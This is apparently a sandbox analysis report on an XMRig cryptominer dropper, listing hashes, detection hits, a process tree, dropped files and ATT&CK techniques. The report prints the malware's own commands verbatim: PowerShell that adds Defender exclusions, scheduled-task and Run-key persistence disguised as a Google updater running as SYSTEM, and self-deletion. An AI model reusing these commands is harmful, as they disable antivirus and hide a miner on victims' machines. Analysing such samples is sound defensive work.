xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
433s
max time network
1780s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 3016 created 1140	3016	JqLvG94UkYjhxAeg.exe	7
PID 3016 created 1140	3016	JqLvG94UkYjhxAeg.exe	7
PID 3016 created 1140	3016	JqLvG94UkYjhxAeg.exe	7
PID 3016 created 1140	3016	JqLvG94UkYjhxAeg.exe	7
PID 2404 created 1140	2404	updater.exe	7
PID 2404 created 1140	2404	updater.exe	7
PID 2404 created 1140	2404	updater.exe	7
PID 1280 created 1140	1280	conhost.exe	7
PID 2404 created 1140	2404	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral15/memory/2892-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2892-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2652	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2404	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2888	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral15/memory/2892-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2892-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2404 set thread context of 1280	2404	updater.exe	51
PID 2404 set thread context of 2892	2404	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	JqLvG94UkYjhxAeg.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1136	schtasks.exe
2832	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1992	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d07dcb693d4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3016	JqLvG94UkYjhxAeg.exe
3016	JqLvG94UkYjhxAeg.exe
2724	powershell.exe
3016	JqLvG94UkYjhxAeg.exe
3016	JqLvG94UkYjhxAeg.exe
2736	powershell.exe
3016	JqLvG94UkYjhxAeg.exe
3016	JqLvG94UkYjhxAeg.exe
3016	JqLvG94UkYjhxAeg.exe
3016	JqLvG94UkYjhxAeg.exe
2628	powershell.exe
2404	updater.exe
2404	updater.exe
1708	powershell.exe
2404	updater.exe
2404	updater.exe
1824	powershell.exe
2404	updater.exe
2404	updater.exe
1280	conhost.exe
2404	updater.exe
1280	conhost.exe
2404	updater.exe
2404	updater.exe
2404	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	2404	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: SeLockMemoryPrivilege	2892	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2832	2736	powershell.exe	32
PID 2736 wrote to memory of 2832	2736	powershell.exe	32
PID 2736 wrote to memory of 2832	2736	powershell.exe	32
PID 2652 wrote to memory of 2108	2652	cmd.exe	33
PID 2652 wrote to memory of 2108	2652	cmd.exe	33
PID 2652 wrote to memory of 2108	2652	cmd.exe	33
PID 2628 wrote to memory of 2820	2628	powershell.exe	38
PID 2628 wrote to memory of 2820	2628	powershell.exe	38
PID 2628 wrote to memory of 2820	2628	powershell.exe	38
PID 2888 wrote to memory of 2404	2888	taskeng.exe	36
PID 2888 wrote to memory of 2404	2888	taskeng.exe	36
PID 2888 wrote to memory of 2404	2888	taskeng.exe	36
PID 1824 wrote to memory of 1136	1824	powershell.exe	52
PID 1824 wrote to memory of 1136	1824	powershell.exe	52
PID 1824 wrote to memory of 1136	1824	powershell.exe	52
PID 2404 wrote to memory of 1280	2404	updater.exe	51
PID 2044 wrote to memory of 1992	2044	cmd.exe	46
PID 2044 wrote to memory of 1992	2044	cmd.exe	46
PID 2044 wrote to memory of 1992	2044	cmd.exe	46
PID 2404 wrote to memory of 2892	2404	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1140
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2832
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1136
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1332
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1280
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2892

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2108

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2044

C:\Windows\system32\taskeng.exe
taskeng.exe {62862FD5-32B1-42E3-95C9-56618537415A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2888

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2820

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 239KB
SHA256 77e6b90b18d6cbdf03f7cc83ba0614bce0e1ff0fe98e570aa02406f3b28c5d93
MD5 47064d7af1630d82e9caea9abca209fb
SHA1 9692c10e3d6d38b0b3aedeb595cbc56dff416fc8
SHA512 6ff2108eb445e9e7c44bbdbc31769e90f0e4cc2e215997db9a692028bebbc75293791906dc667e4af63b81a14572befe80f2e043f112922409262b105f8cec63
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx7N:rWVi46hyqG2ckwLxgajd0mAVR
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 308KB
SHA256 204bb68f3f0c216709b8ad6aa9f4339228f48ed30589e3e734488122d5275dbd
MD5 50897ffce3878e9b62ea3f16a48bdfcd
SHA1 1c166f9149f25f4166723b0d4d97362f465b5b96
SHA512 c9f57c2a859f17b3febceb5dbb87baadb425cac043ceed6ae0f2d40bff43c299f5918a68b2ee77e1808ad5b17f60f83327d920738c112d809c37d47a7b5264cf
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFl:rWVi46hyqG2ckwLxgajd0mAVwb5T3K
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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QVHQPP2DONIS054OB0T7.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QVHQPP2DONIS054OB0T7.temp
Size 7KB
SHA256 1ef1841c3b7139f771a5e55e3e3b2ce730d678cbceeb90010a1b160825770247
MD5 3449e644085fb63e93de003ff642523d
SHA1 40c4b069906906e0f27e47ad8828b2e42cdd5a42
SHA512 cc02fb03359cb82aeed2637df943a4f75046d67093d603a0eb4022cb400f8e3800ea611e1a3359c215b70c4631cdcbacffa5c24b5709daa55177835daae7f68a
SSDEEP 96:4VWC5M8dnqvsqvJCwoDojQVWC5M8dnqvsEHyqvJCworVoj2vcuvQHeV57HyXlUVy:83xUoDd3xAHnorVtJ3V57HyQU
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 61KB
SHA256 0fdf6f4582d74d29c925fe232be8f336f487ced0f39d81bdc63deabad0605746
MD5 5584595d79f411a3d23511364c4f70c9
SHA1 8470d4f8c3ea71ddf2ebc0775addf13002e78eb9
SHA512 d1eb2aced11ec3062b0e21ab62be6197c31c3a868c0c116b0b3190a1dca2c49abb5eb6848f491073ebda76aa8bc11ef15b5cb3bda41da1435e442bccf0418779
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFT:L3zjTv46w/ZUFO5TT
MD5 SHA1 SHA512 SSDEEP

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memory/1280-75-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1280-68-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1708-44-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

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memory/1708-46-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

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memory/1708-45-0x0000000001520000-0x00000000015A0000-memory.dmp

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memory/1708-47-0x0000000001520000-0x00000000015A0000-memory.dmp

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memory/1708-48-0x0000000001520000-0x00000000015A0000-memory.dmp

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memory/1708-49-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

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memory/1824-51-0x00000000015B0000-0x0000000001630000-memory.dmp

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memory/1824-50-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/1824-52-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/1824-53-0x00000000015B0000-0x0000000001630000-memory.dmp

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memory/1824-56-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/1824-55-0x00000000015B0000-0x0000000001630000-memory.dmp

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memory/1824-54-0x00000000015B0000-0x0000000001630000-memory.dmp

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memory/2404-43-0x000000013F9D0000-0x000000013FBE1000-memory.dmp

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memory/2404-63-0x000000013F9D0000-0x000000013FBE1000-memory.dmp

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memory/2628-39-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/2628-33-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/2628-36-0x0000000002A20000-0x0000000002AA0000-memory.dmp

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memory/2628-35-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/2628-37-0x0000000002A20000-0x0000000002AA0000-memory.dmp

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memory/2628-34-0x0000000002A20000-0x0000000002AA0000-memory.dmp

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memory/2628-38-0x0000000002A20000-0x0000000002AA0000-memory.dmp

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memory/2724-7-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/2724-5-0x000000001B340000-0x000000001B622000-memory.dmp

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memory/2724-6-0x00000000029A0000-0x00000000029A8000-memory.dmp

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memory/2724-12-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/2724-8-0x00000000029E0000-0x0000000002A60000-memory.dmp

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memory/2724-9-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

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memory/2724-11-0x00000000029E0000-0x0000000002A60000-memory.dmp

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memory/2724-10-0x00000000029E0000-0x0000000002A60000-memory.dmp

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memory/2736-25-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

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memory/2736-18-0x000000001B420000-0x000000001B702000-memory.dmp

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memory/2736-20-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

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memory/2736-21-0x0000000002B20000-0x0000000002BA0000-memory.dmp

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memory/2736-19-0x00000000029B0000-0x00000000029B8000-memory.dmp

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memory/2736-23-0x0000000002B20000-0x0000000002BA0000-memory.dmp

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memory/2736-22-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

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memory/2736-24-0x0000000002B20000-0x0000000002BA0000-memory.dmp

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memory/2892-74-0x00000000007F0000-0x0000000000810000-memory.dmp

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memory/2892-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-66-0x0000000000290000-0x00000000002B0000-memory.dmp

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memory/2892-67-0x00000000007F0000-0x0000000000810000-memory.dmp

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memory/2892-65-0x00000000000F0000-0x0000000000110000-memory.dmp

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memory/2892-69-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-73-0x0000000000290000-0x00000000002B0000-memory.dmp

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memory/2892-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2892-106-0x0000000140000000-0x00000001407F4000-memory.dmp

